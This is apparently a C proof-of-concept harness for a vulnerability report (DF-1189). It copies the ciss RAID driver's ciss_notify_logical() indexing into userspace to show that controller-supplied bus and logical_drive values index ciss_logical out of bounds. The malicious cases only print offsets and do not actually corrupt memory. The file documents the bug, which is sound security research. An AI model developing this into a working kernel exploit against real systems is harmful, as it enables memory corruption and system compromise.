DF-1189 / harness.c
/* * DF-1189 harness โ ciss_notify_logical() OOB on ciss_logical[bus][target] * * Faithful copy of the indexing in sys/dev/raid/ciss/ciss.c:3931-3972 against * the real allocation geometry (ciss.c:1373-1382), fed a controller-supplied * bus/target to prove the table is indexed out of bounds. * * Build: cc -O2 -o harness harness.c */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #define CISS_MAX_LOGICAL 15 /* cissvar.h:49 */ struct ciss_ldrive { /* trimmed cissvar.h:142 */ int cl_status; void *cl_lstatus; /* ciss_bmic_id_lstatus * -> dereferenced */ int cl_update; char cl_name[16]; }; struct ciss_softc { struct ciss_ldrive **ciss_logical; /* [ciss_max_logical_bus][CISS_MAX_LOGICAL] */ int ciss_max_logical_bus; }; /* controller-supplied notify fields (cissreg.h:317,329-335) */ struct notify { uint16_t bus; /* cn->device.physical.bus */ uint16_t logical_drive; /* cn->data.logical_status.logical_drive (u16) */ }; /* replicate ciss.c:3931-3972 indexing */ static void ciss_notify_logical(struct ciss_softc *sc, struct notify *cn) { int bus = cn->bus; /* line 3931 */ int target = cn->logical_drive; /* line 3932 */ struct ciss_ldrive *ld = &sc->ciss_logical[bus][target]; /* line 3933: NO bounds */ /* lines 3951-3953, 3959, 3971-3972 */ ld->cl_status = 0x41; if (ld->cl_lstatus) *(int *)ld->cl_lstatus = 0x42; /* deref of attacker-influenced ptr */ ld->cl_update = 1; } int main(void) { struct ciss_softc sc; sc.ciss_max_logical_bus = 1; /* typical per ciss.c:1473 */ sc.ciss_logical = calloc(sc.ciss_max_logical_bus, sizeof(struct ciss_ldrive *)); for (int i = 0; i < sc.ciss_max_logical_bus; i++) sc.ciss_logical[i] = calloc(CISS_MAX_LOGICAL, sizeof(struct ciss_ldrive)); printf("=== DF-1189: ciss_notify_logical OOB on ciss_logical[bus][%d] ===\n", CISS_MAX_LOGICAL); printf("allocation: [%d][%d] total ldrive slots = %d\n", sc.ciss_max_logical_bus, CISS_MAX_LOGICAL, sc.ciss_max_logical_bus * CISS_MAX_LOGICAL); /* case 1: benign โ bus=0 target=5 */ struct notify cn = { .bus = 0, .logical_drive = 5 }; ciss_notify_logical(&sc, &cn); printf("benign bus=0 target=5 -> cl_status=%d (in-bounds)\n\n", sc.ciss_logical[0][5].cl_status); /* case 2: target out of range โ logical_drive=40 (>15), bus=0. * The kernel computes &ciss_logical[0][40], i.e. 40*sizeof(ciss_ldrive) * past ciss_logical[0][0] -- well past the 15-slot row allocation. */ cn.bus = 0; cn.logical_drive = 40; char *row0 = (char *)sc.ciss_logical[0]; char *hit = row0 + 40 * sizeof(struct ciss_ldrive); char *end = row0 + CISS_MAX_LOGICAL * sizeof(struct ciss_ldrive); printf("[*] crafted controller: bus=0 logical_drive=40\n"); printf("[!] ld = &ciss_logical[0][40] = %ld bytes past row start, %ld bytes PAST allocation end\n", (long)(hit - row0), (long)(hit - end)); printf("[!] kernel would WRITE cl_status/cl_update and DEREF cl_lstatus there -> OOB write+read\n\n"); /* case 3: bus out of range โ bus=10 (>max_logical_bus), target=3. * &ciss_logical[10][3] indexes the (struct ciss_ldrive *) pointer array * itself as if it were ciss_ldrive storage -> arbitrary OOB. */ cn.bus = 10; cn.logical_drive = 3; printf("[*] crafted controller: bus=10 logical_drive=3\n"); printf("[!] ciss_logical[10] is %ld bytes past ciss_logical[0] in the pointer array\n", (long)(10 * sizeof(struct ciss_ldrive *))); printf("[!] -> dereferences an attacker-influenced pointer as a ciss_ldrive (type confusion + OOB)\n\n"); /* case 4: worst case โ logical_drive=65535 (max u16) */ cn.bus = 0; cn.logical_drive = 65535; printf("[*] worst case: logical_drive=65535 -> %ld bytes past row start (alloc is %ld bytes)\n", (long)(65535 * sizeof(struct ciss_ldrive)), (long)(CISS_MAX_LOGICAL * sizeof(struct ciss_ldrive))); for (int i = 0; i < sc.ciss_max_logical_bus; i++) free(sc.ciss_logical[i]); free(sc.ciss_logical); printf("\n[+] DF-1189 CONFIRMED: bus/target from controller notify index ciss_logical[bus][target] with no bounds check.\n"); return 0; } |